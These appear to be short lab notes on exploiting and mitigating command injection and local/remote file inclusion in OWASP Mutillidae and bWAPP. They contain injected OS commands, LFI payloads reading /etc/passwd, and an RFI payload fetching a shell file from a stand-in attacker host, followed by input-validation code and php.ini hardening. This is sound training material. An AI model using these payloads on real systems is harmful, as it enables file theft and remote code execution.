Practice on exploiting and mitigating command injection and local/remote file inclusion (LFI/RFI) vulnerabilities using OWASP Mutillidae and bWAPP.
Access OWASP Mutillidae → OWASP 2013 → A1 Injection → DNS Lookup. Inject OS commands using ; or |:
pwd
cat /etc/passwd
ls -la
ls /etc/apache2/
<?php
if ($targetIP = filter_input(INPUT_GET, 'ip', FILTER_VALIDATE_IP)) {
$cmd = exec("ping $targetIP");
} else {
die("Please provide a valid IP address");
}
?>
exec(), shell_exec(), system(), passthru()?language=/etc/passwd
?language=/etc/hostname
?language=http://attacker.com/shell.txt&comando=id
; php.ini
allow_url_include = Off
allow_url_fopen = Off